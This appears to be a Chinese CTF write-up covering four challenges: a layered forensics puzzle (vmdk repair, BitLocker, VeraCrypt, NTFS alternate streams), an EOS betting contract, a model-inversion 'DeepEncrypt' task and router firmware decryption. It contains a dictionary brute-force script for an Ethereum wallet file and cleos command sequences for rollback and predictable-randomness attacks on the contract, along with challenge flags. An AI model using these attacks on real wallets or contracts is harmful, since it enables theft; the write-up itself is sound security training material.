那么我们用题目所提供的加解密软件 WinAES 和密钥 123456 即可解密 recovered.bin 文件。

得到解密文件 recovered.bin.decrypted,很自然地想查看文件类型,就去查看一下文件的头部。

这个文件原名叫 linj.vmdk,是一个 vmdk 映像文件。它的文件头部被修改过,我们可以参照其它 vmdk 格式的文件头部,把头部改回正常。

这时候就是一个正常的 vmdk 文件了。我们可以使用 开源取证工具 或者 商业取证工具 进行 静态取证,也可以使用 专业仿真软件 或者 VMware 进行 动态取证

我这里使用 取证大师 进行 静态取证,使用 VMware 进行 动态取证

VMware 中加载这个镜像文件,开机后登录系统需要密码,密码提示 headers

刚才我们在文件头处看到了 i_love_kdmv,这个就是系统登录的密码。

登录后,在桌面右上角看到一张便签,大概意思是,“你不应该到这里来,我已经删除了一条重要的钥匙,怎么找到我?”。

这里的“我”指的是“便签”。嫌疑人很可能使用系统自带的功能进行信息的隐藏。我们可以先找到 windows 10 下创建标签的方式,就是按下 win+w 键。

从右边弹出的侧菜单栏可以看到,sketchpad 功能处写着 bitlock,点进去看看。

可以看到 bitlocker 的密码,linj920623!@#,系统中确实存在一个 bitlocker 的加密盘。

使用密码进行解密,可以成功解开加密盘。

加密盘里有两个值得留意的文件。

一个是数字货币加密钱包文件,另一个是密码字典。这可能是嫌疑人用来进行资金流通的数字货币钱包。

我们尝试写个脚本,使用密码字典对加密钱包文件进行暴力破解。

import eth_keyfile
import json

fp = open('ethpass.dict', 'r')
wallet = json.loads(open('UTC--2019-07-09T21-31-39.077Z--266ed8970d4713e8f2701cbe137bda2711b78d57', 'r').read())

while True:
    try:
        password = fp.readline().strip().encode('ascii')
        if len(password) <= 0 :
            print("password not found")
            break
    except:
        continue
    try:
        result = eth_keyfile.decode_keyfile_json(wallet, password)
    except:
        continue
    print(password)
    print(result)
    break

暴力破解可以得到结果,加密钱包密码为 nevada,钱包私钥为 VeraCrypt Pass: V3Ra1sSe3ure2333

私钥提示我们有一个 VeraCrypt 加密的容器,它的加密密码为 V3Ra1sSe3ure2333

那么我们需要先找到这个容器文件。这里可以使用全盘搜索包含特定字串的方法,找到这个加密容器文件。我这里使用 取证大师 进行取证,直接在 加密文件 处可以找到这个文件。

可是在 VMware 相对应的路径下找不到这个文件,想起便签处的提示,可能在系统加载的时候该文件被删除了。

我们在系统启动项处,找到一个自动删除 .mylife.vera 文件的隐藏脚本文件。嫌疑人故意设置了一个简易的开机自删除功能。

那么我们可以直接在 取证大师 中导出该文件,也可以从系统盘的用户缓存目录下找到该文件。

使用 VeraCrypt 和之前找到的密码 V3Ra1sSe3ure2333 进行解密并挂载。

我们可以找到看到加密容器内,一共有 184 个文件,有一堆生活照,还有一个 readme 文件。

readme 文件提示这里有 185 个文件,其中 183 张照片是我的生活照,所以必然有一个文件被隐藏了。

这个文件系统为 NTFS,想起嫌疑人可能使用 NTFS交换数据流 的方式进行文件隐藏。

cmd 下使用 dir /r 命令可以看到隐藏文件 528274475768683480.jpg:k3y.txt:$DATA

使用 notepad 528274475768683480.jpg:k3y.txt 命令,直接使用记事本打开被隐藏的文件。

可以得到一串密码 F1a9ZiPInD6TABaSE,并且根据密码的提示,flag.zip 文件在数据库里。嫌疑人可能把重要文件存放在电脑的数据库里。

想起嫌疑人的电脑装有 phpStudyNavicat,直接启动 mysql,使用 Navicat 查看数据库。

看到几个数据库的名称,与 bitlocker 加密盘下 gambling 文件夹里的几个 .sql 文件名一致。

那么我们可以比较 .sql 文件里的数据与数据库里的数据,找到数据库 tencent 里多了一张表 auth_secret

字段名为 file,字段值是一串 base64 编码字符串。

导出解码,转换为二进制文件,得到一个 zip 文件。

压缩包注释里提示,“这是一个真正的flag文件”,需要找到密码解开。

我们用之前找到的密码 F1a9ZiPInD6TABaSE,解开 flag.txt 文件。

成功找到嫌疑人隐藏的重要信息。

Flag:de1ctf{GeT_Deep3r_1N_REAl_lifE_fOrEnIcs}

Easy EOS

方法一:交易回滚攻击

经观察,发现bet action 在一次交易中完成了猜数字游戏,并且发现若赢了,则users表中win的次数+1;若输了,则users表中lost的次数+1。

可以通过部署合约,通过inline action的方式,分别进行猜数字和判断。第一个action猜数字,第二个action进行判断刚刚是否赢了。若赢了,则通过;若输了,则抛出异常,使整个交易回滚。(耍赖)

攻击方式

# 设置权限
cleos set account permission gllrgjlqclkp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"gllrgjlqclkp","permission":"eosio.code"},"weight":1}]}' owner -p gllrgjlqclkp@owner
# 编译合约
cd attack4
eosio-cpp -o attack4.wasm attack4.cpp
# 部署合约
cleos set contract gllrgjlqclkp . -p gllrgjlqclkp@active
# 调用makebet方法多次,直到账号win次数大于等于10
cleos push action gllrgjlqclkp makebet '[]' -p gllrgjlqclkp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["gllrgjlqclkp", "xxxx@qq.com"]' -p gllrgjlqclkp@active

方法二:伪随机数攻击

经过反编译得到伪随机数产生的算法,部署相应的合约,在一次交易中,计算将要产生的随机数,然后用该随机数调用目标合约的bet action

攻击方式

# 设置权限
cleos set account permission btdaciaibmfp active '{"threshold": 1,"keys": [{"key": "EOS7fyKcyPhP5P4S5xXqLzYEFg5bYuYRvxzsX3UJ5W7vAxvXtgYAU","weight": 1}],"accounts":[{"permission":{"actor":"btdaciaibmfp","permission":"eosio.code"},"weight":1}]}' owner -p btdaciaibmfp@owner
# 编译合约
cd attack
eosio-cpp -o attack.wasm attack.cpp
# 部署合约
cleos set contract btdaciaibmfp . -p btdaciaibmfp@active
# 调用makebet方法10次
cleos push action btdaciaibmfp makebet '[]' -p btdaciaibmfp@active
# 请求发送flag
cleos push action de1ctftest11 sendmail '["btdaciaibmfp", "xxxxxx@gmail.com"]' -p btdaciaibmfp@active

DeepEncrypt

赛题背景

如今机器学习以及深度学习在各个领域广泛应用,包括医疗领域、金融领域、网络安全领域等等。深度学习需要大量的训练数据作为支持,然而如何保证训练的数据的安全性是值得我们考虑的。现在提出了许多基于深度学习模型的模型逆向攻击,来对用户的数据进行窃取。

本题模拟了一种基于深度学习的模型,对一些用户数据(flag)进行一系列的处理之后生成“加密”之后的数据,让选手使用提供的数据,训练解密模型,获取原始的flag。

赛题流程

提供文件:

  • flag_sample.txt :用于训练的flag样本。
  • enc_sample.txt :用于训练的加密之后的flag样本。
  • enc.hdf5: 基于keras训练的flag加密模型。
  • flag_enc.txt: 选手需要解密的flag (flag in server-> enc.hdf5-> flag_enc.txt)
    #### 提供接口:
    用于给选手提交解密之后的flag,和真实flag进行对比,误差小于0.2(可以减小误差要求,增加难度)即可通过,给出真实flag。
    ```python
    import numpy as np

flag = np.loadtxt("../data/flag.txt")
true_flag = "de1ctf{xxx_xxx_xxx}"
threshold=0.2

def mse(true, predict):
loss = np.average(np.abs(true - predict))
print(loss)
return loss

def judge(predict):
if mse(flag, predict) < threshold:
print(true_flag)
else:
print("You can't fool me")

if name == "main":
inp = input("Input your flag_dec result:")
inp = np.asarray(inp.split(' '), dtype=float)
judge(inp)

#### 解题脚本
利用AutoEncoderDecoder思路,利用所给的Enc模型,训练解密模型。

可以直接运行`python solve.py`,结果在flag_dec.txt中,直接复制到到云服务器上进行检验,底下也有已经通过解密的结果。(可能要跑几次才能出结果,所以我测试的时候用的是本地测试)

requirements

keras
sklearn
numpy

Dec model:

|     Layer (type)     | Output Shape |  Param  |
| :------------------: | :----------: | :-----: |
| input_1 (InputLayer) |  (None, 64)  |    0    |
|   dense_1 (Dense)    | (None, 2048) | 133120  |
|   dense_2 (Dense)    | (None, 2048) | 4196352 |
|   dense_3 (Dense)    | (None, 128)  | 262272  |
Total params: 4,591,744

Trainable params: 4,591,744

Non-trainable params: 0
_________________________________________________________________
AutoEncoderDecoder:

| Layer (type) | Output Shape |  Param  |
| :----------: | :----------: | :-----: |
| Enc (Model)  |  (None, 64)  |  8256   |
| Dec (Model)  | (None, 128)  | 4591744 |
Total params: 4,600,000

Trainable params: 4,591,744

Non-trainable params: 8,256
```python
def dec_model(enc_shape, flag_shape):
    inp = Input((enc_shape,))
    h = Dense(2048)(inp)
    h = Dense(2048)(h)
    out = Dense(flag_shape, activation='sigmoid')(h)
    return Model(inp, out)
def load_data(flag_name, enc_name):
    '''

    :param path: data path
    :return:
        flag_sample: shape=(512,128)
        enc_sample:shape=(512,64)
    '''
    flag_sample = np.loadtxt(flag_name)
    enc_sample = np.loadtxt(enc_name)
    return flag_sample, enc_sample

def train_dec(flag_sample, enc_sample):
    flag_shape = flag_sample.shape[-1]
    enc_shape = enc_sample.shape[-1]
    Enc_model = load_model("../model/enc.hdf5")
    Enc_model.name = "Enc"
    Dec_model = dec_model(enc_shape, flag_shape)
    print("Train Dec_model")
    Enc_model.trainable = False
    inp = Enc_model.inputs
    dec = Enc_model(inp)
    out = Dec_model(dec)
    model = Model(inp, out)
    model.compile(loss='mean_absolute_error', optimizer='Adam')
    print(model.summary())
    ear = EarlyStopping(monitor='val_loss', patience=10, mode='min', restore_best_weights=True)
    model.fit(flag_sample, flag_sample, batch_size=512, epochs=100000000, verbose=2, validation_split=0.1,
              callbacks=[ear])
    print(Dec_model.summary())
    Dec_model.save(dec_loss0.177.hdf5)


def solve():
    Dec_model = load_model(dec_loss0.177.hdf5)
    flag_enc = np.loadtxt("../data/flag_enc.txt").reshape(1, -1)
    flag_dec = Dec_model.predict(flag_enc)
    np.savetxt("../data/flag_dec.txt", flag_dec)
    # print(flag_dec[0])
    judge(flag_dec[0])

结果

loss: 0.17741050019098772

delta{xxx_xxx_xxx}

flag:

1 0 1 1 1 1 0 1 1 1 0 1 0 0 0 1 0 1 1 1 1 1 1 1 1 0 0 0 0 1 0 1 1 0 1 0 0 0 1 0 0 0 1 0 1 0 0 0 1 1 1 0 1 1 0 1 1 0 0 0 0 1 1 0 0 1 1 0 0 0 0 1 1 1 1 0 0 1 0 0 0 0 0 1 1 0 0 1 1 1 1 0 1 0 1 1 1 1 0 0 0 1 1 0 0 1 1 0 0 0 1 1 1 1 0 0 1 0 0 1 1 1 0 1 1 1 0 0

flag_enc:

-4.286013841629028320e-01 9.896190166473388672e-01 4.559664130210876465e-01 8.176887035369873047e-01 8.356271386146545410e-01 3.765194416046142578e-01 1.687297374010086060e-01 3.029667437076568604e-01 5.969925522804260254e-01 5.114848613739013672e-01 9.926454722881317139e-02 9.131879210472106934e-01 -2.152046710252761841e-01 8.866041898727416992e-02 3.317154347896575928e-01 9.851776361465454102e-01 7.276151180267333984e-01 8.283065557479858398e-01 1.823632977902889252e-03 3.699933588504791260e-01 6.979680061340332031e-02 1.828217357397079468e-01 5.757516622543334961e-01 1.914786100387573242e-01 3.244600296020507812e-01 1.111515283584594727e+00 5.159097313880920410e-01 1.231751441955566406e-01 -3.645407259464263916e-01 7.166512608528137207e-01 1.389274299144744873e-01 7.724004983901977539e-02 7.178838849067687988e-01 -9.603453427553176880e-02 5.028448104858398438e-01 3.499638140201568604e-01 8.395515680313110352e-01 6.976196765899658203e-01 2.593761086463928223e-01 7.141951918601989746e-01 6.022385954856872559e-01 1.001740217208862305e+00 -2.897696197032928467e-01 1.448748558759689331e-01 8.408914208412170410e-01 2.470737695693969727e-01 4.430454969406127930e-01 -2.019447684288024902e-01 8.161327838897705078e-01 2.832469642162322998e-01 6.612138748168945312e-01 9.899861216545104980e-01 2.219144105911254883e-01 1.322134375572204590e+00 7.497617006301879883e-01 9.182292222976684570e-01 6.070237755775451660e-01 3.877772092819213867e-01 3.660472482442855835e-02 7.972034811973571777e-01 -2.158393338322639465e-02 5.925227403640747070e-01 5.734952688217163086e-01 -5.487446486949920654e-02

flag_dec:

9.999969005584716797e-01 1.000000000000000000e+00 1.000000000000000000e+00 8.216343522071838379e-01 1.000000000000000000e+00 2.449917824165481761e-09 4.793806410857692768e-13 9.827108979225158691e-01 1.000000000000000000e+00 9.518706798553466797e-01 4.392772812167322627e-09 6.113789975643157959e-03 4.152511974098160863e-05 4.196180736215637808e-09 7.207927703857421875e-01 2.705646342008542066e-14 6.214135623849870171e-07 9.999998807907104492e-01 9.499107003211975098e-01 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 1.000000000000000000e+00 9.999998807907104492e-01 1.134839401270570924e-12 1.000000000000000000e+00 1.000000000000000000e+00 1.772474402327793816e-22 9.627295136451721191e-01 8.082498652584035881e-07 5.288467742502689362e-03 1.000000000000000000e+00 1.356615761025602163e-14 9.699743986129760742e-01 9.680391289293766022e-03 1.000000000000000000e+00 3.494189800782449007e-13 1.000000000000000000e+00 3.159084932123808198e-14 2.154111511019039804e-14 5.770184313065346467e-16 1.000000000000000000e+00 1.002021781459916383e-05 9.999998807907104492e-01 8.955678204074501991e-04 1.000000000000000000e+00 9.489459000600186244e-18 8.299213051795959473e-01 9.961280226707458496e-01 9.470678567886352539e-01 1.103274103880202014e-22 1.000000000000000000e+00 6.979074478149414062e-01 2.365609405194221800e-20 1.000000000000000000e+00 1.000000000000000000e+00 1.236146737271584528e-13 6.457178387790918350e-04 5.910291671752929688e-01 9.847130749696120233e-11 1.000000000000000000e+00 2.832969698829401750e-07 3.806088219523060032e-21 4.788258164282160009e-21 1.000000000000000000e+00 1.000000000000000000e+00 9.999659061431884766e-01 6.373043248686371953e-08 9.844582080841064453e-01 1.429801388397322626e-09 9.504914879798889160e-01 9.991403818130493164e-01 2.418865845658057272e-19 1.000000000000000000e+00 2.270782504153226976e-17 2.376812939172689987e-12 1.000000000000000000e+00 1.241249365389798104e-14 1.346701979637145996e-01 3.604641086571485015e-16 3.174040572003981712e-17 2.682143889551155425e-18 1.000000000000000000e+00 1.000000000000000000e+00 1.364883929491043091e-01 4.823155208555363060e-09 8.947684168815612793e-01 4.979012906551361084e-02 9.936627149581909180e-01 1.000000000000000000e+00 6.171471613924950361e-05 1.000000000000000000e+00 3.350817401326366962e-10 9.962311387062072754e-01 8.754302263259887695e-01 1.577300601240949618e-08 1.000000000000000000e+00 8.513422443141155371e-14 1.534198522347082760e-13 4.049778076177301201e-16 5.455599006151120746e-18 8.422639439231716096e-06 6.625648587942123413e-02 2.438588886377601739e-09 1.000000000000000000e+00 1.000000000000000000e+00 3.147949101389713178e-08 7.443545779750593283e-11 7.562025007915029740e-13 9.984059929847717285e-01 1.000000000000000000e+00 1.000000000000000000e+00 9.997273981571197510e-02 6.106127430939578549e-13 4.462333163246512413e-05 9.999997615814208984e-01 1.432137628991099035e-24 9.999928474426269531e-01 1.000000000000000000e+00 2.727753134479371511e-09 1.000000000000000000e+00 2.289682043965513003e-07 9.587925076484680176e-01 9.999778270721435547e-01 1.000000000000000000e+00 1.434007310308516026e-03 7.365300120909523685e-07

Upgrade

出这个类型的题,主要是考察选手对加密固件的提取,题目涉及的是DIR-850L固件的真实加解密,也是希望选手在做了题之后有所收获,能够在真实设备上做进一步的漏洞挖掘

这道题有两个预期解,一是直接通过逆向升级的部分编写解密脚本,加密不是很难,已给出了AES所需的key,对设备有一些研究的在看了这个cgi-bin之后通常都能猜到是哪些型号,所以我patch掉了一些信息;二是巧解,在固件升级的过程中他可以直接调用解密程序对固件解密,所以需要qemu运行一个同架构的虚拟机,然后调用解密程序解出来

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now